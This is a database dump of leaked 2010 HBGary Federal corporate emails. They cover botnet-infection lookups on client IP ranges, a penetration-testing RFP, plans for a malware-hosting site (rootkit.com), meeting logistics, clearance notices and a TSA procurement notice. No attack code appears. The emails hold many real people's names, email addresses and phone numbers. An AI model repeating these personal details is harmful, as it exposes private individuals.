CTU:\r\n216.253.94.48;216.253.94.63\r\n209.12.14.208;209.12.14.223\r\n205.214.88.64;205.214.88.95We then queried our database to see if any of these IP addresses havebeen passively observed in any of the 65 bot-nets that we collect dataon and the results are below.  Don&#39;t put too much weight into the\r\nConfidence value.  We are still working on our confidence algorithm.At this point, it basically starts at 100% and then decreases overtime at different rates, based upon the type of event and the numberof recorded observations:\r\n\r\nIP : 216.253.94.50\r\nConfidence : 33.248475%\r\nEvents : \r\n	Zeus : Wed Feb 24 23:03:11 2010 GMT\r\n	Conficker A/B : Wed Jun 17 23:47:50 2009 GMT\r\n\r\nIP : 209.12.14.211\r\nConfidence : 10%\r\nEvents : \r\n	Storm : Wed Sep  9 18:59:00 2009 GMTBoth of these CTU machines may have already been identified and fixedby your IT security dept, or they could both still be infected.  Iwould suggest that since it is a pretty small number of hosts,\r\nit would be worthwhile for your security team to at least check outthese machines to see if they have any current bot-net infections.  It may be necessary toreview log files to determine which NAT ip address used the Internet IP address\r\nat the given date/time stamp of the recorded events.  May be a good project for a student.\r\nRegards,\r\nTed-- Ted H. VeraPresident | COOHBGary Federal\r\n719-237-8623\r\n\r\n',13644,'aaron_hbgary_com/13644.html'),(7159,'2010-06-08','\"Ira Entis\" <Ira.Entis@agilex.com>','/aaron@hbgary.com/new/1297005210.M810272P14101Q2014.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Fwd: Request for Proposal (RFP) No. 86524-RFP-10, iSupplier/iRecruitment Penetration Testing','Aaron -- We need to formally submit an RFP reply to LANL. &nbsp;Please start reviewing the attached. &nbsp;Are you all free tomorrow PM or Wednesday for a discussion about our response?Thanks,IraBegin forwarded message:From: John Harllee &lt;John.Harllee@agilex.com&gt;Date: June 3, 2010 7:08:25 PM EDTTo: Ira Entis &lt;Ira.Entis@agilex.com&gt;, Jerry McClure &lt;Jerry.McClure@agilex.com&gt;Subject: Fwd: Request for Proposal (RFP) No. 86524-RFP-10, iSupplier/iRecruitment Penetration TestingBegin forwarded message:From: \"Terri L. Villareal\" &lt;tlv@lanl.gov&gt;To: \"John Harllee\" &lt;John.Harllee@agilex.com&gt;Cc: \"dataylor@lanl.gov\" &lt;dataylor@lanl.gov&gt;, \"tlmtz@lanl.gov\" &lt;tlmtz@lanl.gov&gt;, \"susiet@lanl.gov\" &lt;susiet@lanl.gov&gt;Subject: Request for Proposal (RFP) No. 86524-RFP-10, iSupplier/iRecruitment Penetration TestingMr. Harllee,Attached please find &nbsp;Request for Proposal (RFP) No. 86524-RFP-10 for iSupplier/iRecruitment Penetration Testing, in accordance with the attached proposal and draft subcontract documents.LANL does not have your company in our vendor database; therefore, please complete, sign, and return the attached W-9 as well.Please respond to this request no later than 3:00 PM Mountain Time on June 18, 2010 or sooner. &nbsp;Do not hesitate to contact me if you have questions.Regards,Terri L. VillarealLos Alamos National LaboratoryASM SubcontractsP.O. Box 1663, MS D442Los Alamos, NM &nbsp;87545Phone: &nbsp;(505) 667-3699Fax: &nbsp;(505) 667-2153Email: &nbsp;tlv@lanl.gov&lt;mailto:tlv@lanl.gov&gt;',7959,'aaron_hbgary_com/7959.html'),(7160,'2010-06-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005211.M540524P14101Q2015.eml','\"Bob Slapnik\" <bob@hbgary.com>,mark@hbgary.com,\"Barr Aaron\" <aaron@hbgary.com>','Re: Other prospects','L3 Communications doesn&#39;t have many public facing IPs. Results below:\r\nIP : 65.70.127.164\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Jun  4 04:59:00 2009 GMT\r\nNeblocks Queried:\r\n63.149.157.48;63.149.157.55\r\n12.38.118.0;12.38.118.255\r\n65.70.127.160;65.70.127.167\r\n209.177.130.224;209.177.130.239\r\n216.60.133.128;216.60.133.135\r\n66.37.225.24;66.37.225.31\r\n65.216.250.112;65.216.250.119\r\n74.92.157.152;74.92.157.159\r\n74.94.158.216;74.94.158.223On Mon, Jun 7, 2010 at 1:16 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\n \r\n\r\nI have enterprise demos coming up for Computers Sciences\r\nCorp and L-3 Communications.  Can you run Endgame reports for them?\r\n\r\n \r\n\r\nWill you be sending me a consolidated report for JHU and\r\nAPL?\r\n\r\n \r\n\r\nBob \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',1016,'aaron_hbgary_com/1016.html'),(7161,'2010-06-08','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297005211.M899158P14101Q2016.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','rootkit menu','Rootkit.com upgrades,\r\nbtw, we are almost 80,000 users...\r\n[ home ]\r\n[ site search ][ code search ]  - search is like google code search against local archive[ submit/analyze ]\r\n  - finds malware source code that matches uploaded sample\r\n[ forums ]   forum is &lt;General&gt;   - port all posts into this forum   &lt;show me new threads !&gt;[ bookmarks ][ post article ] = posts a main page article, includes file upload links[ view blogs]\r\n   - blogs for all registered members, includes file upload links[ vault ]   - anyone can upload files to their vault[ downloads ]   - every known rootkit/malware is hosted, multi-version\r\n   - link analysis provided, all known actors associated with source code\r\n \r\nA web-based API is provided, limited number of queries per day unless you pay\r\nA maltego plugin is provided, limited number of queries per day unless you pay\r\n \r\nI want to get this done for around $20K if possible.\r\n \r\n-G\r\n \r\n',1071,'aaron_hbgary_com/1071.html'),(7162,'2010-06-08','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297005212.M117922P14101Q2017.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Slashdot IT Story | Botnets Using Ubiquity For Security','http://it.slashdot.org/story/10/06/07/2335210/Botnets-Using-Ubiquity-For-Security?from=rss&utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+Slashdot%2Fslashdot+%28Slashdot%29\r\n\r\n\r\n\r\n',10587,'aaron_hbgary_com/10587.html'),(7163,'2010-06-08','\"Nicole Kaboli\" <nicole@executivebiz.com>','/aaron@hbgary.com/new/1297005212.M377063P14101Q2018.eml','','ExecutiveBiz 4x24 Dinner - June 15th - Group 11','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDear\r\n4x24 Member:\r\n\r\n&nbsp;\r\n\r\nYou\r\nare confirmed to attend the 4x24 Dinner on Tuesday, June 15th at Fleming&#8217;s\r\nRestaurant in the Galleria Room.&nbsp; &nbsp;The networking begins at 5:30 and\r\nthe dinner starts at 6:30.&nbsp; If you are unable to attend, please let us\r\nknow as soon as possible.&nbsp; \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNicole\r\n Kaboli\r\n\r\nExecutiveBiz\r\nand Executive Mosaic\r\n\r\n8230\r\n  Old Courthouse Road, Suite 460\r\n\r\nVienna,\r\n VA 22182 \r\n\r\nPhone:\r\n703-226-7006\r\n\r\nFax:\r\n703-752-7454 \r\n\r\n&nbsp;\r\n\r\nP Please consider the environment before printing this email.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5633,'aaron_hbgary_com/5633.html'),(7164,'2010-06-08','\"William Luti\" <williamluti@verizon.net>','/aaron@hbgary.com/new/1297005212.M609090P14101Q2019.eml','\"Aaron Barr\" <aaron@hbgary.com>','Catch up','Aaron, \r\n\r\nAre you available for coffee am/pm this week. Would like to catch up and discuss business opportunities. \r\n\r\nBest,\r\n\r\nBill\r\n\r\n(202)277-8361 cell',6215,'aaron_hbgary_com/6215.html'),(7165,'2010-06-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005212.M910171P14101Q2020.eml','\"Harvey, Kevin\" <kevin.harvey@fidelissecurity.com>','Re: DuPont','Sounds good Kevin.AaronOn Jun 7, 2010, at 11:31 PM, Harvey, Kevin wrote:\r\n\r\n\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\nYes.&nbsp; Friday afternoon is good. &nbsp;How about\r\n1PM CST?&nbsp; I’ll send a gotomeeting invitation when the time is confirmed.&nbsp;Kevin&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, June 07, 2010 6:51\r\nPM\r\nTo: Harvey,\r\n Kevin\r\nCc: Etue, David; Ted Vera; Mark\r\nTrynor\r\nSubject: Re: DuPont\r\n\r\n&nbsp;great. &nbsp;Can we set something up for Friday afternoon then?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOn Jun 7, 2010, at 9:24 AM, Harvey, Kevin wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n  \r\n\r\n  \r\n   \r\n  \r\n\r\n\r\nHello Aaron,&nbsp;I’m available to get started as soon as\r\nthis Thursday afternoon or Friday. &nbsp;As David suggests, we could start out\r\nwith a quick demo and let things develop from there.&nbsp; The training could\r\nbe customized based on your requirements.&nbsp; Let me know what time works\r\nbest and I can setup a gotomeeting and conference number.&nbsp;Kevin Harvey214.213.4389&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Etue, David \r\nSent: Friday, June 04, 2010 10:46\r\nAM\r\nTo: Harvey, Kevin\r\nCc: Aaron\r\n Barr\r\nSubject: RE: DuPont\r\n\r\n&nbsp;Kevin,&nbsp;I’d suggest we get a\r\nquick demo scheduled, even if the training might take a few days to get\r\nstarted.&nbsp; If you show some of the use cases in the demo, with how the\r\npolicy components work, it might get them started.&nbsp; They are hoping to\r\nlaunch this integrated offering by June 14.\r\nDavid&nbsp;\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, June 04, 2010 11:26\r\nAM\r\nTo: Etue, David\r\nCc: Harvey, Kevin\r\nSubject: Re: DuPont\r\n\r\n\r\n\r\n&nbsp;Great.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nKevin, &nbsp;can we set up some training for these guys soonest?\r\n&nbsp;Overall introduction will be great with a focus on those capabilities we\r\nwould most use for incident response engagement; network discovery, session\r\nreconstruction, traffic isolation and analysis, integration with our Active\r\nDefense capabilities (so APIs).\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOn Jun 3, 2010, at 8:43 AM, Etue, David wrote:\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nYep – we should\r\nconnect them with Kevin Harvey (cc’d), who will coordinate the training.&nbsp;&nbsp;Understanding our policy components\r\nand structure is key to success.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron\r\n Barr [mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, June 03, 2010 10:40 AM\r\nTo:&nbsp;Etue, David\r\nSubject:&nbsp;Re: DuPont\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nWe have the various VMs now downloaded and are installing. &nbsp;Should\r\nwe have a conversation and potential demo of these capabilities for the folks\r\nout here in the Springs that will be configuring?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 3, 2010, at 8:20 AM, Etue, David wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn a call with them – you okay if I mention your upcoming\r\noffering?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDavid\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n Barr\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n Barr\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10393,'aaron_hbgary_com/10393.html'),(7166,'2010-06-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005213.M352817P14101Q2021.eml','\"William Luti\" <williamluti@verizon.net>','Re: Catch up','Hi Bill,\r\n\r\nSounds good.  I am free tomorrow afternoon and have some time between 1030-2pm on Friday?\r\n\r\nAaron\r\n\r\nOn Jun 8, 2010, at 10:14 AM, William Luti wrote:\r\n\r\n> Aaron, \r\n> \r\n> Are you available for coffee am/pm this week. Would like to catch up and discuss business opportunities. \r\n> \r\n> Best,\r\n> \r\n> Bill\r\n> \r\n> (202)277-8361 cell\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',9502,'aaron_hbgary_com/9502.html'),(7167,'2010-06-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005216.M257090P14101Q2022.eml','\"David Etue\" <david.etue@fidelissecurity.com>','Datasheet','Hi Dave,\r\n\r\nCan you provide some content that can fit in a small space?  see what I am working with.\r\n\r\n',12991,'aaron_hbgary_com/12991.html'),(7168,'2010-06-08','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297005216.M923894P14101Q2023.eml','\"Barr Aaron\" <aaron@hbgary.com>','Need your help at NG','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nCal Smith of NG has an IRAD project to integrate an\r\nend-to-end cyber defense system.&nbsp; Phase I is a network-based sandbox that\r\nwill run binaries in-line before they get to hosts.&nbsp; At present they are\r\nusing Norman, Citrix, and open source software. &nbsp;REcon isn&#8217;t yet an\r\noption because it isn&#8217;t ready.&nbsp; Phase II = network and endpoints.\r\nPhase III = reporting. &nbsp;They see HBGary DDNA/ePO (HBSS) for the endpoint.&nbsp;\r\nWhen we showed them our s/w in April, Active Defense Defense didn&#8217;t exist\r\nyet.\r\n\r\n&nbsp;\r\n\r\nTheir plans are (1) to get the working system deployed at\r\nthe NG CSOC and (2) start selling the overall system to the gov&#8217;t.\r\n\r\n&nbsp;\r\n\r\nHere is where I need your help&#8230;&#8230;&#8230; The CSOC\r\nand the APT teams are run by Bill Russell.&nbsp; Cal said you know Bill so it\r\nmakes more sense for you to get into dialogue with him on my behalf.&nbsp; Could\r\nyou contact him and arrange a meeting where we can come in to give a demo?\r\n\r\n&nbsp;\r\n\r\nCal said he has 100% assurance that the NG CSOC will deploy\r\nwhat he builds.&nbsp; NG has 120k nodes so this could be a significant opportunity.&nbsp;\r\nCal said he expects to have something the CSOC can deploy by Oct or Nov.\r\n\r\n&nbsp;\r\n\r\nNext step with Cal is do another demo next week where we demo\r\nour newest bits to his growing team that has new members.&nbsp; \r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7727,'aaron_hbgary_com/7727.html'),(7169,'2010-06-08','\"William Luti\" <williamluti@verizon.net>','/aaron@hbgary.com/new/1297005217.M137090P14101Q2024.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Catch up','Very good. I\'m free until 3pm so why don\'t you pick a time and location and I\'ll meet you there (I could come to your office as well, are you in Bethesda?). Bill\r\nOn Jun 8, 2010, at 10:35 AM, Aaron Barr wrote:\r\n\r\n> Hi Bill,\r\n> \r\n> Sounds good.  I am free tomorrow afternoon and have some time between 1030-2pm on Friday?\r\n> \r\n> Aaron\r\n> \r\n> On Jun 8, 2010, at 10:14 AM, William Luti wrote:\r\n> \r\n>> Aaron, \r\n>> \r\n>> Are you available for coffee am/pm this week. Would like to catch up and discuss business opportunities. \r\n>> \r\n>> Best,\r\n>> \r\n>> Bill\r\n>> \r\n>> (202)277-8361 cell\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\n',10612,'aaron_hbgary_com/10612.html'),(7170,'2010-06-08','\"Liddy, Corinne C\" <ccliddy@nsa.gov>','/aaron@hbgary.com/new/1297005218.M651592P14101Q2025.eml','aaron@hbgary.com,edward.nugent@pacom.mil,ewshees@nsa.gov,xxxtesmit2@nsa.gov,\"Sullivan, Matthew W\" <mwsull3@nsa.gov>,Harry.Wearne@gchq.gsi.gov.uk,karen.danesi@gchq.gsi.gov.uk,david.borden@lackland.af.mil,aclark@mitre.org,adam.long@ogn.af.mil,Michael.Sohn@ic.fbi.gov,Donna.Martin@disa.mil,Ann.Barron-DiCamillo@disa.mil,\"Toll, Michael\" <mjtoll@nsa.gov>,nziring@thecouch.ncsc.mil,windsor_stephen@bah.com,mark.debels@dc3.mil,\"Carbin, Jeffery J.\" <j.carbin@radium.ncsc.mil>,HeatherRT@gmail.com,Michael.Bingham@osd.mil,skbohli@missi.ncsc.mil,rjlarso@missi.ncsc.mil,\"Rogers, Bruce J\" <bjroger@nsa.gov>,\"Graham, Kimberly A\" <kagraha@nsa.gov>,Peter.Parker@g2-inc.com,aaron@hbgary.com,edward.nugent@pacom.mil','Need Clearances passed ASAP for ReBl','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nIf you are receiving this email it is because Johns Hopkins\r\nUniversity Applied Physics Lab (JHU-APL) has not received your clearances\r\nyet.&nbsp; Those clearances need to be sent ASAP.&nbsp; The directions on\r\npassing your clearance are in the attached document.&nbsp; \r\n\r\n&nbsp;\r\n\r\nIf there are any issues please let me know.\r\n\r\n&nbsp;\r\n\r\nR,\r\n\r\nCorinne \r\n\r\n&nbsp;\r\n\r\n_______________________________________________________________________________\r\n\r\nCorinne Liddy\r\n\r\nRed/Blue\r\nTeam Planner\r\n\r\n410.854.8964\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6668,'aaron_hbgary_com/6668.html'),(7171,'2010-06-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005220.M272572P14101Q2026.eml','\"William R Choate\" <WILLIAM.CHOATE@tasc.com>','Fwd: Need Clearances passed ASAP for ReBl','This was sent yesterday though right?ThanksAaronSent from my iPadBegin forwarded message:From: &quot;Liddy, Corinne C&quot; &lt;ccliddy@nsa.gov&gt;\r\nDate: June 8, 2010 10:32:33 AM EDTTo: &lt;aaron@hbgary.com&gt;, &lt;edward.nugent@pacom.mil&gt;, &lt;ewshees@nsa.gov&gt;, &lt;xxxtesmit2@nsa.gov&gt;, &quot;Sullivan, Matthew W&quot; &lt;mwsull3@nsa.gov&gt;, &lt;Harry.Wearne@gchq.gsi.gov.uk&gt;, &lt;karen.danesi@gchq.gsi.gov.uk&gt;, &lt;david.borden@lackland.af.mil&gt;, &lt;aclark@mitre.org&gt;, &lt;adam.long@ogn.af.mil&gt;, &lt;Michael.Sohn@ic.fbi.gov&gt;, &lt;Donna.Martin@disa.mil&gt;, &lt;Ann.Barron-DiCamillo@disa.mil&gt;, &quot;Toll, Michael &quot; &lt;mjtoll@nsa.gov&gt;, &lt;nziring@thecouch.ncsc.mil&gt;, &lt;windsor_stephen@bah.com&gt;, &lt;mark.debels@dc3.mil&gt;, &quot;Carbin, Jeffery J.&quot; &lt;j.carbin@radium.ncsc.mil&gt;, &lt;HeatherRT@gmail.com&gt;, &lt;Michael.Bingham@osd.mil&gt;, &lt;skbohli@missi.ncsc.mil&gt;, &lt;rjlarso@missi.ncsc.mil&gt;, &quot;Rogers, Bruce J&quot; &lt;bjroger@nsa.gov&gt;, &quot;Graham, Kimberly A&quot; &lt;kagraha@nsa.gov&gt;, &lt;Peter.Parker@g2-inc.com&gt;\r\nCc: &lt;rebl@nsa.gov&gt;, &quot;Scott K. Brown&quot; &lt;sbrown@dewnet.ncsc.mil&gt;Subject: Need Clearances passed ASAP for ReBl\r\n\r\n\r\n\r\n\r\nIf you are receiving this email it is because Johns Hopkins\r\nUniversity Applied Physics Lab (JHU-APL) has not received your clearances\r\nyet.  Those clearances need to be sent ASAP.  The directions on\r\npassing your clearance are in the attached document.  \r\n\r\n \r\n\r\nIf there are any issues please let me know.\r\n\r\n \r\n\r\nR,\r\n\r\nCorinne \r\n\r\n \r\n\r\n_______________________________________________________________________________\r\n\r\n\r\nCorinne Liddy\r\n\r\nRed/Blue\r\nTeam Planner\r\n\r\n410.854.8964\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11473,'aaron_hbgary_com/11473.html'),(7172,'2010-06-08','\"Potomac Officers Club\" <events@potomacofficersclub.com>','/aaron@hbgary.com/new/1297005222.M799889P14101Q2027.eml','aaron@hbgary.com','July POC Event','\r\nPotomac Officers Club - Event Registration Confirmation\r\n\r\n\r\nbody, td{font-family:arial,sans-serif;font-size:80%}\r\na:link, a:active, a:visited{color:#0000CC}\r\nimg{border:0}\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n    					\r\n\r\nBy clicking NO You will not be contacted about John Riggins, Pro Football Hall of Fame running back and former Washington Redskin on July 22, 2010 again\r\n\r\nDear Aaron,\r\n	\r\n	The POC is pleased to “loosen up” this summer and announces that John Riggins will be speaking at the next luncheon event on July 22!  John is most well known for his time spent playing for the Washington Redskins and his induction into the Pro Football Hall of Fame in1992. But what many may not know, is that John is an accomplished actor (starring in some off broadway productions and also many primetime television shows) as well as hosting his own daily HD3 radio show!  John is brutally honest and always humorous and entertaining – you really should not miss this opportunity to hear him live and in person!  Details of the event are as follows:\r\n\r\nDate:  Thursday, July 22 2010\r\nTime:  11:30 am (networking and registration) with lunch and speaker at 12:00 pm\r\nLocation:  Tyson’s Corner Ritz Carlton\r\n\r\nWe hope to see you there!\r\n\r\nThe Potomac Officers Club\r\n703-752-7449\r\n\r\n\r\n    					\r\n	\r\n	\r\n	By clicking NO You will not be contacted about John Riggins, Pro Football Hall of Fame running back and former Washington Redskin on July 22, 2010 again\r\n	\r\n	\r\n	\r\n	  \r\n  \r\n\r\n&nbsp;\r\nEVENT SPONSOR&nbsp;\r\n	&nbsp;\r\n\r\n\r\n\r\n\r\nPowered by\r\nCarbon8 Studios.\r\n\r\n\r\n\r\n\r\n\r\n\r\n',329,'aaron_hbgary_com/329.html'),(7173,'2010-06-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005223.M790160P14101Q2028.eml','\"David Etue\" <david.etue@fidelissecurity.com>','Other marketing material','Dave,\r\n\r\nI am only planning to take the single marketing sheet as well as marketing sheets on active defense and Fidelis appliances for this show because thats all I have time for.  After the show I will be working on a specific marketing sheet for each area; incident response, threat intelligence, and IO.\r\n\r\nI think we are going to do a 2pm ET Fidelis Demo.  We can meet for a drink after that, say 3pm.  Where is convenient for you?  I will be coming back to Mclean so maybe somewhere in the middle where both of us don\'t have do deal with too much traffic?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',14654,'aaron_hbgary_com/14654.html'),(7174,'2010-06-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005224.M118302P14101Q2029.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Enterprise Cyber Forensics System','\r\n\r\n\r\n\r\nAccessibility InformationUsers of assistive technologies such as screen readers should use the following link to activate Accessibility Mode before continuing: Learn more and Activate accessibility mode.\r\n\r\nSkip to content\r\ntabs\r\nmain menu\r\nAccessibility Mode\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFederal Business Opportunities\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBuyers: Login | Register\r\n \r\nVendors: Login | Register\r\n \r\nAccessibility\r\n\r\n\r\n\r\nEnterprise Cyber Forensics System (ECFS)Solicitation Number: ECFS\r\nAgency: Department of Homeland SecurityOffice: Transportation Security AdministrationLocation: Headquarters TSA\r\n\r\nPrint\r\n	Link\r\nCopy or Bookmark this PageCopy the url below for a direct link to this page.\r\nBookmark this page by right-clicking here and choosing &quot;Add Link to Bookmarks&quot;\r\n\r\nNotice Details\r\nPackages\r\nInterested Vendors List\r\n\r\n\r\n\r\n\r\nOriginal Synopsis\r\nJun 01, 201010:53 am\r\n  \r\n\r\n\r\nSolicitation Number:\r\nECFS\r\nNotice Type:\r\nSources Sought\r\nSynopsis:\r\n\r\nAdded: Jun 01, 2010 10:53 amTitle: The Transportation Security Administration (TSA) is seeking sources for an Enterprise Cyber Forensics System (ECFS).\r\nDescription:The Transportation Security Administration (TSA) is seeking sources for Enterprise Cyber Forensics System (ECFS) technologies that are currently available in the marketplace. This is a Sources Sought Notice only and vendors will not be compensated for the information provided. No solicitation will be issued at this time.\r\nThe Transportation Security Administration (TSA) mission is to protect the Nation&#39;s transportation systems and to ensure freedom of movement for people and commerce. To support this mission, TSA is evaluating Enterprise Cyber Forensics System (ECFS) products/solutions that can provide the ability to scan, capture, identify, report, and resolve information technology forensics issues across the entire TSA environment. The product/solution should allow TSA forensics users to address insider threats, data leakage, IT asset misuse, anomaly detection, malicious code and activity identification, compliance verification, and e-discovery procedures. The ECFS system should also allow for the integration with ArcSight Security Information and Event Management tools and have reporting capabilities that will allow TSA leadership to access information as needed.\r\nPlease provide a detailed description on how the product works and what differentiates it in the Enterprise Cyber Forensics System market space. Please include at a minimum the following information:\r\n•Describe how your product supports legal e-discovery processes and what mechanisms are available for integrating with legal tools such as Concordance or Summation.\r\n•Describe how your product manages and performs Enterprise Forensics activities across multiple types of information technology systems. Please provide specific information on which types of systems your Enterprise Forensic system supports, what forensic and system information is available on each platform, and any real-time forensic capabilities (i.e. capturing host state information with current services, processes, and RAM) available for each platform including information including if this information can be gathered over a network connection without any end user knowledge or awareness of the forensic information capture.\r\n•Describe mechanisms that can be used to schedule periodically recurring scans. Are there any structures in your product to allow for known forensics exceptions on a system or user basis depending on Active Directory user or group membership, or other AD structure? Does any mechanism exist to establish an expected baseline for end user and system configuration (e.g. settings that do not report for specific users/machines to leverage external media, where as an exception would be identified for other users that are not external media users)?\r\n•Describe any desktop product integrations that your product supports. Please describe end point protection integration with disk and file level encryption, personal firewall/IDS systems, and integration with system and software management tools.\r\n•Please describe any functions used to manage and control information in the Enterprise Cyber Forensics System, and any other options for users to manage/track forensic information. Describe any Role Based Access Control (RBAC) structure your product supports and the activities allowed by the RBAC structure.\r\n•Describe any knowledge base or mechanism that is available for identifying suspicious system activities including any known exploits that could assist TSA personnel to quickly identify unauthorized and malicious system activity.\r\n•Describe any remediation activities your product supports to remove identified threats while sweeping across the enterprise for known malicious code.\r\n•Describe the reporting functionality that the product provides, and the extent to which it can be customized to provide unique and customizable reports. Describe reporting dashboards that are available for Sr. Management reporting and monitoring.\r\n•Describe authentication and authorization (A&amp;A) integrations and mechanisms including Single Sign On and multifactor authentication mechanisms your product supports for Active Directory environments. Describe any remote access mechanisms that your product provides.\r\n•Describe methods of data analysis the product supports including reporting, alerting, interactive browsing, base line comparisons, and ad hoc querying.\r\n•Describe how your product interfaces with other systems such as Security Information Event Management (SIEM) systems and interfaces with other business systems (i.e. Microsoft Office products, Microsoft Outlook/Exchange) as needed. Please indicate integrations with other versions of forensics software such as EnCase, AccessData, and HBGary.\r\n•Describe howforensics event information be used to create tickets in Incident and Service tracking systems by sending email messages or some other application programming interfaces to automate ticket creation for event tracking purposes?\r\n•Describe the product architecture and provide a representative diagram(s) if available. Include at a minimum the following product information:\r\noUser Interfaces oDirectory IntegrationoRole-based Administration\r\noPolicy Creation and ManagementoSystem Administration, Reporting, and Other features•Provide additional features/capabilities that differentiate your product from other product/solutions in the market.\r\noProduct roadmapoThird party products that have been successfully integrated including monitoring, SIEM, and legal discovery 